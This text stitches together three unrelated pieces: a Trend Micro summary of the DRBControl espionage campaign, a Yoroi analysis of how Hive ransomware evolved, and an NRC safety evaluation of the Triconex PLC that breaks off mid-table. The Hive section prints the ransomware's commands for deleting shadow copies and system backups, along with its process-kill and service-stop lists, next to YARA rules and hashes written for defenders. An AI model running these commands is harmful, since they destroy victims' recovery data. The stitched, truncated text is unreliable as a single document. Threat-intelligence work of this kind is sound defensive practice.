# Operation DRBControl: Uncovering a Cyberespionage Campaign Targeting Gambling Companies in Southeast Asia In 2019, Talent-Jump Technologies, Inc. reached out to Trend Micro about a backdoor they discovered during an incident response operation. We provided further intelligence and analysis on the backdoor, which we learned was being used by an advanced persistent threat (APT) actor that we dubbed "DRBControl." The threat actor is currently targeting users in Southeast Asia, particularly gambling and betting companies. Europe and the Middle East were also reported to us as being targeted, but we could not confirm this at the time of writing. Exfiltrated data was mostly comprised of databases and source codes, which led us to believe that the group's main purpose is cyberespionage. The campaign uses two previously unidentified backdoors. Known malware families such as PlugX and the HyperBro backdoor, as well as custom post-exploitation tools were also found in the attacker's arsenal. Interestingly, one of the backdoors used file hosting service Dropbox as its command-and-control (C&C) channel. We disclosed our findings to Dropbox, which expired the tokens used in the campaign in August 2019 and has since been working with Trend Micro on the issues. ## Targets DRBControl targets gambling and betting operations in Southeast Asia. The threat actors behind the campaign use a variety of post-exploitation tools, such as a clipboard stealer, network traffic tunnel, brute-force tool, and password dumpers. ## Operations The first-stage intrusion uses spear-phishing .DOCX files. DRBControl distributes three versions of the infecting documents. The campaign primarily takes advantage of two backdoors, both of which use DLL side-loading through the Microsoft-signed MSMpEng.exe file. - The type 1 backdoor already has nine versions, all developed between May to October 2019. All versions use the file hosting service Dropbox as their C&C channel. - The type 2 backdoor uses a configuration file that has the C&C domain and connection port, as well as the directory and filename where the malware is copied. The file also sets its persistence mechanism. - In most cases, IP addresses could be resolved only for subdomains hardcoded in malware samples; no IP address was linked to the domain names themselves. - Known malware families (e.g., PlugX RAT, Trochilus RAT, and HyperBro backdoor) and software Cobalt Strike were also utilized in the campaign. ## Network Activities ### Connections with Other APT Campaigns Different malware identified with Winnti and Emissary Panda campaigns. Links to the Winnti group range from mutexes to domain names and issued commands. The HyperBro backdoor, which appears to be exclusive to Emissary Panda, was also used in this campaign. ## Key Findings The DRBControl campaign attacks its targets using a variety of malware and techniques that coincide with those used in other known cyberespionage campaigns. The threat actors maintain a diverse infrastructure and take advantage of post-exploitation tools to further their operations. The campaign not only uses file hosting service Dropbox as its C&C channel, but also for the delivery of different payloads. Dropbox repositories were also found to store information such as commands and post-exploitation tools, target user's workstation information, and stolen files. - Clipboard stealer - EarthWorm network traffic tunnel - Public IP address retriever - NBTScan tool - Brute-force tool - Elevation of privilege vulnerability tool - Password dumpers - UAC bypass tools - Code loaders ## Conclusion Unlike largely indiscriminate attacks that focus on typical forms of cybercrime, targeted attacks differ in terms of how threat actors actively pursue and compromise specific targets (i.e., through spear phishing) for lateral movement in the network and sensitive information extraction. Understanding attack tools, techniques, and infrastructure, as well as the links to similar attack campaigns, provides the context necessary to assess potential impact and adopt defensive measures. Trend Micro users can thwart advanced persistent threats with security that provide actionable threat intelligence, network-wide visibility, and timely threat protection.
# On the FootSteps of Hive Ransomware **July 26, 2022** ## Introduction Hive ransomware is one of the most active financially motivated threat actors of this period, adopting the current Double Extorsion model. They started their malicious activities in June of the past year, and just in a year of activity, they collected a significant number of victims, demonstrating the capability to hit even critical infrastructures. The criminal group distinguished itself from others by attacking healthcare organizations during 2021 when we had to face off the Covid-19 pandemic. It was emblematic that one of the first victims was the Memorial Health System in August 2021. For these reasons, Yoroi’s Malware ZLab decided to keep track of this infamous threat actor and observe any modification of its modus operandi, in order to provide a guideline focusing on the evolution of the locker sample of the cyber gang. ## About Hive Hive (TH-313) is a ransomware group first spotted in June 2021 and it gained significant popularity within the cybersecurity community because it was able to attack a large variety of sectors, starting from healthcare facilities and extending to critical infrastructures, including manufacturers during just a year of activity. In addition, the group was able to refine its toolkit and its TTPs with surprising speed: the business model is the Double-Extorsion and Ransomware-as-a-Service, with a self-made ransomware payload. So, in this report, we have decided to focus our attention on the ransomware payload evolution, providing a timeline of the development of Hive Ransomware Payloads. ## Timeline of the Development of Hive Ransomware Inside the criminal group, there is surely a high-profile development team, with deep knowledge of programming in both newer and older programming languages. The first versions of the encryptor payload were written in Golang, then, starting from the v5 version, the dev team of Hive switched to Rust. In the following timeline, we provide a quick overview of the evolution of the malware and how the cyber gang adopted an incremental development process on its TTPs: In the same way, even the ransom note changed during the evolution: first, the credentials were hardcoded inside the sample, but now the operators pass them as a parameter when the locker process is launched. Below is a comparison between an earlier version and a later one: ## Victimology During its activity, Hive Group hit a large number of victims and during that period some of them paid the ransom, after which the victims were removed from the “walk of shame.” We tracked a total of 130 victims listed on their leak site; the affected companies belong to different sectors and nations. However, we have evidence that occasionally some victims of the group, despite being attacked by the threat actor, are never reported on the site. Moreover, the group does not exclude hospitals, companies that provide medical equipment, and non-profit organizations. An example is the attack on the "Memorial Health System" in August 2021 or more recently on the "Partnership HealthPlan of California," a non-profit organization. The following graph shows the total progress of the victims so far, indicating that the group is consolidating its role as one of the principal threats in the panorama. Another view of the same information is represented in the following graph, where the focus is pointed to highlight the month in which most victims were published on their leak site, which turns out to be July 2021, shortly after the group started. This means that the ransomware operators gathered a consistent number of victims during the startup phase, in order to create a solid placement inside the threat landscape. After that phase, the gang continued to threaten with huge aggression. ## Hive v1 **Hash:** 88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1 **Threat:** Ransomware **Brief Description:** Hive Ransomware v1 **SSDEEP:** 12288:CinNFNkY/yU97ppM4NSBG81Np2C9H4S3iDjlLtc4wCIITIQaOI6NrwacVYV+4MsT:CinN3n/y67jM4v4kCSPDjlLtbwt8IQLH The first version, written in Golang, was a sophisticated encryptor program, but, due to the newness of the malicious activity, there is no track of obfuscation, and the strings can be easily seen. The following figure shows some of the available parameters: The initial effort of the gang was to make a product quite customizable according to the infection and the encryption process to perform. In this way, the malware writers provided a series of parameters to launch an ad-hoc infection profile. | Parameter | Description | |----------------|-------------| | -kill | Regex, names of the processes to kill. Default values: “mspub|msdesktop” | | -no-clean | Skip clean disk space stage | | -skip | Regex, names of the files to skip. Default values: “\\.lnk” | | -skip-before | Skip files before a specific date. Default value: “03.09.2016” | | -stop | Regex, names of the services to stop. Default values: "bmr|sql|oracle|postgres|redis|vss|backup|sstp" | | -t | Number of threads | Once the parameters are parsed, creating the desired infection profile, the control flow passes to the core malicious operations. The locker sample proceeds to export the key, to kill the processes and services specified, and to remove the shadow copies, then it iterates the directories and starts encrypting the files. The core of the encryption scheme of Hive ransomware is a union of XOR+RSA algorithms. Then, in this first version, it uses “.hive” as the extension to the encrypted files; later it uses a unique ID instead. Moreover, the RemoveItself routine drops “hive.bat” to remove itself. But, since the second version of the malware calls the related function after the encryption is complete. ## Hive V2 **Hash:** 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5 **Threat:** Ransomware **Brief Description:** Hive Ransomware v2 **SSDEEP:** 12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgV:dod1HDmlDdkZ4YXPpaTTXMw With the second version of Hive, the malware writers started to complicate the code in order to make the analysis more difficult for the analyst. The initial step is to obfuscate the “Go Build ID” header present in all Golang-written binaries. The simple trick causes that, when opening a disassembler, like IDA, the analyst can immediately see Golang not being recognized. However, a simple fix provides the overwriting of the build-id with a legit one. In addition, now the strings are obfuscated, and the names of the functions present inside the main are not visible in cleartext. The help command has also changed; it has more default values, the “-t” and “-skip” parameters have been removed, “-grant” has been added, and “-no-clean” renamed to “-no-wipe”. | Parameter | Description | |----------------|-------------| | -grant | Grant permissions to all files | | -kill | Regex, names of the processes to kill. Default values: "agntsvc|sql|CNTAoSMgr|dbeng50|dbsnmp|encsvc|excel|firefoxconfig|infopat" | | -no-wipe | Skip wipe of free space | | -stop | Regex, names of the services to stop. Default values: "acronis|AcrSch2Svc|Antivirus|ARSM|AVP|backup|bedbg|CAARCUpdateSvc|C|mfemms|mfevtp|MMS|MsDtsServer|MsDtsServer100|MsDtsServer110|msexchange|msmdsrv|MSOLAP|MVArmor|MVarmor64|NetM" | The string obfuscation process does not impact the structure of the main function, following a comparison of these two versions. ## Hive V3 **Hash:** 8a461e66ae8a53ffe98d1e2e1dc52d015c11d67bd9ed09eb4be2124efd73ccd5 **Threat:** Ransomware **Brief Description:** Hive Ransomware v3 **SSDEEP:** 49152:gWVNVvSGbjmrb/T6vO90dL3BmAFd4A64nsfJuhQ8jmp4S3C5CEg+eNgiQJfOqAD:gWYQjPhQCmppnMfO In this version, the “-skip” parameter has been restored and, in another sample, we found a new parameter named “scan”: | Parameter | Description | |----------------|-------------| | -scan | Scan local network for shares | Comparing the logs from v1, we can spot the following differences: - The key name is longer and it has a random extension. - It shows the time elapsed for the encryption of each file. ## Linux/FreeBSD Version The third version of the development of Hive ransomware saw the porting of the codebase for other operating systems, such as Linux/FreeBSD and ESXi. The Linux and FreeBSD versions are almost identical to the Windows one, despite the obvious OS differences. One of those differences is the following function “KillNonRoot” aimed at killing all non-root processes. ## Hive v3 ESXI **Hash:** 822d89e7917d41a90f5f65bee75cad31fe13995e43f47ea9ea536862884efc25 **Threat:** Ransomware **Brief Description:** Hive Ransomware v3 **SSDEEP:** 3072:3Zp7gZzdfvjRCMj1Yk36ioyJ1zgjIlOhXYopNL+V7o0xvvkB/37Nt7xhew8A2Mz:P7gDj8S1Hlx14+opNClvk977ew8A2M In this case, the malware is written in C/C++, in order to have better compatibility with the target operating system. The strings are not obfuscated, and we have found some new parameters: | Parameter | Description | |----------------|-------------| | -no-stop | Don’t stop virtual machines | | -low-cpu | Single thread encryption | After the routine of exporting the keys already seen in the previous paragraphs, the sample stops all the running virtual machines in order to encrypt them without problems. The ransom note also contains a reference to not delete or reinstall the virtual machines. As said, the objective of this version is to encrypt the virtual machines hosted on the ESXi server, so, the malware goes to find the virtual machines deployed on the server, by using a custom regex aimed at finding the words “vm” or “vs”. ## Hive v4 **Hash:** 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277 **Threat:** Ransomware **Brief Description:** Hive Ransomware v4 **SSDEEP:** 49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA:e2ANB04yIa0hsirubO The fourth version of Hive locker is an effort to obfuscate also the code. We haven’t noticed new features or upgrades except for a more serious obfuscation of the code and changes in the details of the key generation and encryption. In detail, this version adopts the control flow flattening obfuscation technique, which is largely adopted by many attackers, thanks to its actual effectiveness. ## Hive v5 The fifth version of Hive represents a sort of revolution inside the entire codebase. In this version, the major differences include the changing of the base programming language and the refinement of the encryption algorithm. **Hash:** b6b1ea26464c92c3d25956815c301caf6fa0da9723a2ef847e2bb9cd11563d8b **Threat:** Ransomware **Brief Description:** Hive Ransomware v5.2 **SSDEEP:** 12288:BLF6OtM1z8JLbA689tSfvTvFSYIzp4yzhrWbttQfaa4Gxjzgdlo/AhwN/eh9z/E:BLF6gb0xqx9z/EO3BxhR Hive is now written in Rust and for this reason, the difficulty has increased, along with a complex encryption scheme that makes the analysis harder even for experienced analysts. The refinement of the encryption process considers the passing from “XOR+RSA” of the previous versions, arriving at “ECDH+Curve25519+XChaCha20-Poly1305”. For this version, we found the following parameters: | Parameter | Description | |--------------------|-------------| | -no-local | Don’t encrypt local files | | -no-mounted | Don’t encrypt on mounted network volumes | | -no-discovery | Don’t discover network volumes | | -local-only | Encrypt only local files | | -network-only | Encrypt only network volumes | | -explicit-only | Encrypt specified folders | | -min-size | Minimum file size | | -timerze-only | N/A | | -da | N/A | Once executed, the sample checks for the parameter “-u,” which should contain the “username:password” used as credentials for the victim and written in the ransom note. If this unique parameter is missing, the program exits. Even the routine to decrypt the ransom note changed. In this case, the protection of the ransom note relies on a XOR key. Another update is the expansion on the other drives. The sample generates an array of drive labels and uses GetDriveTypeW to check if the path is invalid. Once the attached volumes are found, it calls FindFirstVolumeW and SetVolumeMountPointW to mount eventual unmounted volumes. After that, the operation of privilege escalation is performed through abusing the “TrustedInstaller” service to recover its access token. In this way, the malware is able to read and write files with the same privileges of the TrustedInstaller Group. Moreover, in the previous versions, we saw bat files and other methods for erasing the backup mechanisms provided by the Microsoft Environment. In the fifth version analyzed, there are the following tricks: - `vssadmin.exe delete shadows /all /quiet` - `bcedit /set {default} bootstatuspolicy ignoreallfailures` - `wbadmin delete systemstatebackup –keepversions:3` ## Conclusion Hive threat actor is one of the most sophisticated active threats. It does not care about the target; the only objective is to maximize illicit profits, even by causing the interruption of critical services. The continuous development of the ransomware payload should not be underestimated, and organizations must upgrade their cyber protections. We at Yoroi ZLab believe that collaboration and sharing more information about attackers is the right way to pursue to defend these entities. We know that having to deal with these threats is challenging, so we are aiming to create the best expertise needed to handle such incidents whether they happen. In conclusion, we need to create a solid and reliable strategy to defend our customers. We encourage our customers to make assessments and awareness campaigns for their employees. The goal of the Defence Center of Yoroi is to guarantee the best protection in every phase of the attack, starting from continuous monitoring to Incident Response engagements. ## Appendix ### Indicators of Compromise **Hive v1** - 88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1 (Sample) - d158f9d53e7c37eadd3b5cc1b82d095f61484e47eda2c36d9d35f31c0b4d3ff8 (shadow.bat) **Hive v2:** - 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5 **Hive v3** - 8a461e66ae8a53ffe98d1e2e1dc52d015c11d67bd9ed09eb4be2124efd73ccd5 **Hive v3 Linux/FreeBSD** - 12389b8af28307fd09fe080fd89802b4e616ed4c961f464f95fdb4b3f0aaf185 (Linux) - bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3 (FreeBSD) **Hive v3 ESXI** - 822d89e7917d41a90f5f65bee75cad31fe13995e43f47ea9ea536862884efc25 **Hive v4** - 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277 **Hive v5.2** - b6b1ea26464c92c3d25956815c301caf6fa0da9723a2ef847e2bb9cd11563d8b ### Yara Rules ```yara rule hive_v1_32_win { strings: $1 = {648b0d140000008b89000000003b61080f86e401000083ec40e8?2f?feff8b04248b4c240485c90f8556010000b94100000031d231db8d2d?4??6300eb0341d1e883f95a0f8f29010000a90100000074ed895c2434896c243c894c242489542430894424288d44242c} condition: $1 and uint16(0) == 0x5A4D } rule hive_v1_64_win { strings: $1 = { 65 4? 8b 0c ?5 28 00 00 00 4? 8b 89 00 00 00 00 4? 3b 61 10 0f 86 ?? ?? ?? ?? 4? 83 ec 40 4? 89 6c ?4 38 4? 8d 6c ?4 38 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 08 4? 8b 4c ?4 10 4? 83 7c ?4 08 00 0f 85 ?? ?? ?? ?? 4? 89 44 ?4 20 4? 89 4c ?4 18 4? 8b 44 ?4 48 4? 89 04 ?4 90 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 80 78 48 00 74 ?? 90 0f 57 c0 0f 11 44 ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 30 4? 8d 44 ?4 28 4? 89 04 ?4 4? c7 44 ?4 08 01 00 00 00 4? c7 44 ?4 10 01 00 00 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 4? 89 44 ?4 50 4? 8b 44 ?4 18 4? 89 44 ?4 58 4? 8b 6c ?4 38 4? 83 c4 40 c3 4? 89 04 ?4 e8 ?? ?? ?? ?? eb ?? 4? 89 44 ?4 50 4? 89 4c ?4 58 4? 8b 6c ?4 38 4? 83 c4 40 c3} condition: $1 and uint16(0) == 0x5A4D } rule hive_v2_v3_32_win { strings: $1 = { 64 8b 0d 14 00 00 00 8b 89 00 00 00 00 3b 61 08 0f 86 ?? ?? ?? ?? 83 ec ?? c7 44 ?4 04 ?? ?? ?? ?? c7 04 ?4 ?? ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b 04 ?4 8b 4c ?4 04 c7 44 ?4 4c 00 00 00 00 c7 44 ?4 50 00 00 00 00 89 04 ?4 89 4c ?4 04 e8 ?? ?? ?? ?? 8b 44 ?4 08 8d 0d ?? ?? ?? ?? 89 4c ?4 4c 89 44 ?4 50 8d 44 ?4 4c 89 04 ?4 c7 44 ?4 04 01 00 00 00 c7 44 ?4 08 01 00 00 00 e8 ?? ?? ?? ?? 8b 44 ?4 68 89 04 ?4 e8 ?? ?? ?? ?? 8b 44 ?4 04 89 44 ?4 48 8b 4c ?4 08 89 4c ?4 38 31 d2 eb ?? } condition: $1 and uint16(0) == 0x5A4D } rule hive_v2_64_win { strings: $1 = {654?8b0c?5280000004?8b89000000004?8d44????4?3b41100f86????????4?81ec????????4?89ac??????????4?8dac??????????4?b8????????????????4?8904?4e8????????e8????????4?8b04?44?8b4c?4080f57c00f1184??????????4?8904?44?894c?408e8????????4?8b44?4104?8d0d????????4?898c??????????4?8984??????????4?8d84??????????4?8904?44?c744?408010000004?c744?41001000000e8????????4?8b84??????????4?8904?40f1f440000e8????????4?8b44?4084?8b4c?4104?85c97e??4?89?c} condition: $1 and uint16(0) == 0x5A4D } rule hive_v3_v4_64_win { strings: $1 = {4? 3b 66 10 0f 86 ?? ?? ?? ?? 4? 83 ec 30 4? 89 6c ?4 28 4? 8d 6c ?4 28 4? 89 44 ?4 20 0f 1f 00 e8 ?? ?? ?? ?? 4? 85 c0 0f 85 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 85 c0 74 ?? 4? 8b 6c ?4 28 4? 83 c4 30 c3 4? 89 44 ?4 10 4? 89 5c ?4 18 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 89 c3 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 90 e8 ?? ?? ?? ?? 4? 8b 44 ?4 10 4? 8b 5c ?4 18 4? 8b 6c ?4 28 4? 83 c4 30 c3 4? 8b 6c ?4 28 4? 83 c4 30 c3} condition: $1 and uint16(0) == 0x5A4D } rule hive_v5_32_win { strings: $1 = {5589e553575681ec440400008b75108b7d0c89d3894dc88d85b0fbffff68000400006a0050e8???????? 83c40c0fbec3b9abaaaaaa8b0485c0b949008945e889f0f7e1d1ea8d045229c683f60389f0f7e131c9d1ea8d04528d570229c68b45148955cc8975e48b00} condition: $1 and uint16(0) == 0x5A4D } rule hive_v5_64_win { strings: $1 = {4157415641554154565755534881ec880400004c89cd448844243789d648894c2450488b9c24f0040000488bbc24f8040000488d8c248800000041b80004000031d00480fbec6488d0d??????004c8b24c148b9abaaaaaaaaaaaaaa4889d848f7e148d1ea488d04524989de4929c64983f6034c89f048f7e148d1ea488d04524929c6488b07} condition: $1 and uint16(0) == 0x5A4D } rule hive_v3_esxi { strings: $s1 = "+ prenotify %s" $s2 = "Stopping VMs" $s3 = "(.+)\\.(.+?)\\.%s$" $s4 = "\\.(vm|vs)\\w+$" $c = {f3 0f 1e fa 55 4? 89 e5 4? 83 ec 20 4? 89 7? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 74 ?? 8b 4? ?? eb ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 74 ?? 4? 8d 3d ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b 4? ?? eb ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? b8 00 00 00 00 c9 c3} condition: (all of ($s*) or $c) and uint32(0) == 0x464C457F } ``` This blog post was authored by Luigi Martire, Carmelo Ragusa of Yoroi Malware ZLAB.
# Final Safety Evaluation by the Office of Nuclear Reactor Regulation ## Triconex Topical Report 7286-545-1, Revision 4 ### Invensys Operations Management ### Project No. 709 ## List of Acronyms - **AC**: alternating current - **AI**: analog input - **AO**: analog output - **ASAI**: application-specific action item - **ASIC**: application-specific integrated circuit - **BTP**: branch technical position - **CE**: conducted emissions - **CFR**: Code of Federal Regulations - **CGD**: commercial grade dedication - **COTS**: commercial off-the-shelf - **CRC**: cyclical redundancy check - **CS**: conducted susceptibility - **D3**: diversity and defense-in-depth - **DAC**: digital-to-analog converter - **DC**: direct current - **DI**: digital input - **DI&C**: digital instrumentation and controls - **DO**: digital output - **EDM**: Engineering Department Manual - **EFT**: electrically fast transients - **EIA**: Electronics Industries Association - **EMI**: electromagnetic interference - **EMP**: electronic main processor - **EPRI**: Electric Power Research Institute - **ESD**: electrostatic discharge - **ETSX**: 3008N operating system - **FMEA**: failure modes and effects analysis - **FPGA**: field-programmable gate array - **GDC**: General Design Criterion - **GL**: Generic Letter - **HICRc**: Highly-Integrated Control Rooms – Communications Issues - **I&C**: instrumentation and control - **IEC**: International Electrotechnical Commission - **IEEE**: Institute of Electrical and Electronics Engineers - **I/O**: input and output - **IOM**: Invensys Operations Management (Tricon V10 vendor) - **ISG**: Interim Staff Guidance - **LTR**: Licensing Topical Report - **MIL-STD**: Military Standard - **MVDU**: maintenance video display unit - **NRC**: U.S. Nuclear Regulatory Commission - **NSR**: non-safety-related - **OS**: operating system - **PC**: personal computer - **PCB**: printed circuit board - **PDS**: pre-developed software - **PLC**: programmable logic controller - **QA**: quality assurance - **QAM**: Quality Assurance Manual - **QPM**: Quality Procedures Manual - **RAI**: Request for Additional Information - **RAM**: random-access memory - **RE**: radiated emissions - **RFI**: radio-frequency interference - **RG**: regulatory guide - **RPS**: Reactor Protection Systems - **RRS**: required response spectrum - **RS**: radiated susceptibility - **RTC**: real-time clock - **RTD**: resistance temperature detector - **RTM**: requirements traceability matrix - **RXM**: remote extender module - **SDPE**: Special Dedication Parts Evaluation - **SDS**: software design specification - **SE**: safety evaluation - **SMP**: Software Management Plan - **SOE**: sequence of events - **SOP**: Software Operations Plan - **SPDS**: Safety Parameter Display System - **SQAP**: Software Quality Assurance Plan - **SR**: safety-related - **SRP**: Standard Review Plan - **SRS**: software requirements specification - **SSE**: safe shutdown earthquake - **Std**: Standard - **STP**: Software Test Plan - **SVDU**: safety video display unit - **SVVP**: Software Verification and Validation Plan - **TCM**: Tricon Communication Module - **TR**: Technical Report - **TRS**: test response spectrum - **TS**: technical specification - **TSAP**: test system application program - **TXS**: TELEPERM XS - **V&V**: verification and validation ## 1.0 Introduction By letter dated September 9, 2009, as supplemented by letters dated November 13, 2009, and July 11, 2010, Invensys Operations Management (IOM) requested U.S. Nuclear Regulatory Commission (NRC) approval for the “Triconex Topical Report,” IOM Document No. 7286-545-1, Revision 4, hereafter referred to as the licensing topical report (LTR). The supplemental documents provided under the cover letter dated September 22, 2009, and the subsequent cover letters dated from October 30, 2009, through August 12, 2011, provided additional information that clarified and supported the technical claims documented in the LTR and did not expand or change the scope of the LTR. The LTR was accepted for review by letter dated August 11, 2010. The acceptance letter identified IOM commitments to supply supplemental documents. These documents provide additional information to support the review of the design details and qualification of the Tricon V10 platform and were submitted under the cover letter dated August 5, 2010, with an enclosure providing summary responses to NRC inquiries for clarification within the acceptance letter. The LTR revision describes the completion of all testing and documentation requirements of Electric Power Research Institute (EPRI) Technical Report (TR)-107330 for Version 10.5.1 (V10) of the Tricon Triple Modular Redundant (TMR) Programmable Logic Controller (PLC) platform, which is an evolutionary upgrade to the NRC approved Version 9.5.3 (V9), documented in Triconex Topical Report 7286-545-1-A, “Qualification Summary Report.” The current LTR revision includes a summary of the equipment qualification for the Tricon V10 and a synopsis of the differences between the Tricon V9 System and the Tricon V10 System. The NRC staff conducted an audit at the IOM facility in Irvine, California, on December 15-17, 2010. The purpose of the audit was to inspect IOM procedures and processes that are referenced in the LTR and audit documented products of commercial grade dedication activities. During the site visit, thread audits were performed, the hardware configuration of the Tricon qualification test specimen was observed, and performance characteristics and functional capabilities of the platform were observed. The results of the audit are documented in the March 14, 2011, Audit Report. The NRC’s approval of the Tricon V9 platform is documented in its safety evaluation report (SER), “Review of Triconex Corporation Topical Reports 7286-545, “Qualification Summary Report” and 7286-546, “Amendment 1 to Qualification Summary Report, Revision 1” (TAC NO. MA8283), which formed the basis for the NRC staff’s safety evaluation (SE) of the Tricon V10 platform. The NRC staff focused its review efforts on the impact of V10 platform changes on the V9 platform safety conclusions documented in the SE. For those hardware and software items that are common to both the V9 and V10 platforms, the NRC’s approval is documented in the V9 platform SE. However, changes to review guidance since 2001 required some aspects of the V9 platform to be reevaluated or evaluated in greater detail and the regulatory findings are documented herein. ## 2.0 Regulatory Evaluation The purpose of this SE is to evaluate whether the Tricon V10.5.1 platform is suitable for use in safety-related (SR) applications in nuclear power plants (NPP). Thus, the review of the LTR and supporting technical documents is intended to determine whether sufficient evidence is presented to enable a determination with reasonable assurance that subsequent licensing applications referencing this platform can comply with the applicable regulations to ensure that the public health and safety will be protected. This evaluation and associated audit activities are not intended to completely assess all aspects of the design and implementation of any specific SR application (e.g., reactor protection system or engineered safeguards actuation system) and full compliance with relevant regulations will need to be evaluated on a plant-specific basis. However, the review scope is sufficient to allow the reviewer to reach the conclusion of reasonable assurance within the platform-level context. ### 2.1 Scope of Triconex Platform Changes V9.5.3 to V10.5.1 The Tricon V10 PLC system is designed and built with the same basic architecture as the V9 PLC system. It is a fault-tolerant PLC that uses a triple modular redundant (TMR) architecture in which three parallel control paths are integrated into a single overall system. The system is designed to use two-out-of-three voting with the intent of providing uninterrupted process operation with no single point of random hardware failure. However, many of the previously approved components within the V9 platform have been updated or replaced in the V10 platform. The most prominent changes to the Tricon V10 platform are the main processor (MP) module and the communications module. The Tricon V9.5.3 MP module, 3006N MP is replaced by the 3008N MP in the Tricon V10.5.1. Multiple communications modules available for V9.5.3 have been replaced with a single module configuration, the Tricon Communication Module (TCM). The complete list of hardware (HW) and software (SW) changes implemented within the Tricon V10 platform is provided in Tables 1 and 2 below. The Tricon V9 HW and SW components are also listed for comparison. IOM included an Application Guide in Appendix B of the LTR that describes a generic safety system application using the V10 platform. The Application Guide was provided to facilitate a better understanding of the platform’s potential safety system applications in NPPs. However, the NRC staff did not make any safety determination regarding the Application Guide and this appendix is not approved by this SE. In addition to the V10 platform changes, IOM also submitted the Nuclear Safety Integration Program Manual (NSIPM) and an SE Maintenance Plan as part of the LTR. The NSIPM governs application specific development activities that occur at IOM’s facility. The SE Maintenance Plan describes IOM’s process to evaluate and document any future changes to the approved platform. The NRC staff reviewed these documents, but made no safety determinations on these programs and, therefore, they are not approved by this SE. It is an application-specific action item (ASAI) to review any application specific development activities governed by the NSIPM. The NRC staff evaluated non-safety input and output (I/O) connections made to modules in a Remote Expansion Chassis IOM PN 8112N that is part of a SR system as required by Clause 5.6 of Institute of Electrical and Electronics Engineers (IEEE) Standard (Std) 603-1991. ### TABLE 1 – Summary of Hardware Changes | Module | Tricon V9.5.3 System | Tricon V10.5.1 System | |--------|-----------------------|-----------------------| | Main Processor | 3006N | 3008N | | Communication Module | Three modules: 4119AN (EICM), 4329N (NCM), 4609N (ACM) | One module: 4352AN (TCM) Fiber Optic | | I/O Modules Analog Input (AI) | 3700AN (0-5 VDC), 3701N (0-10 VDC) – Through Hole, 3510N (Pulse Input), 3703EN (Isolated), 3708EN (ITC), 3704EN (0-5/0-10 VDC, High Density), 3706AN (NITC) | 3721N (0-5 or -5 to +5 VDC, Differential) Next Generation Module, SMT, 3701N2 (0-10 VDC) - SMT, 3511N (Pulse Input) – Faster Input Scan, Same, Removed | | I/O Modules Analog Output (AO) | 3805EN (4-20 mA) | 3805HN (4-20 mA) – Supports increased inductive loads | | I/O Modules Digital Input (DI) | 3501TN 115V AC/DC – Through Hole, 3502EN 48V AC/DC – Through Hole, 3503EN 24V AC/DC – Through Hole, 3504EN 24/48 VDC – Through Hole, 3505EN 24 VDC – Through Hole | 3501TN2 115V AC/DC – SMT, 3502EN2 48V AC/DC – SMT, 3503EN2 24V AC/DC – SMT, Removed, Removed | | I/O Modules Digital Output (DO) | 3604EN 24 VDC 3624N 24 VDC, Supervised, 3601TN 115 VAC, 3603TN 120 VDC, 3607EN 48 VDC, 3623TN 120 VDC, Supervised, 3636TN (Relay Output) | 3625N 24 VDC, Supervised/Unsupervised Next Generation Module, Same, Same, Same, Same, Same | | Remote Extender Modules: Primary | 4210N (Single Mode Fiber Optic cable), 4211N (Single Mode Fiber Optic cable) | 4200N (Multi Mode Fiber Optic cable), 4201N (Multi Mode Fiber Optic cable) | | I/O Module Term Panels | Version 8 Term Panels, Version 9 Term Panels – 4 – 9794-110N PI, 9782-110N AI, 9561-810N DI, 9561-110N DI, 9664-810N DO, 9663-610N DO, 9563-810N DI, 9662-810N DO, 9662-610N DO, 9668-110N RO, 9667-810N DO, 9562-810N DI, 9783-110N AI, 9795-610N AI, 9790-610N AI, 9764-310N AI, 9860-610N AO | Removed | ### TABLE 2 – 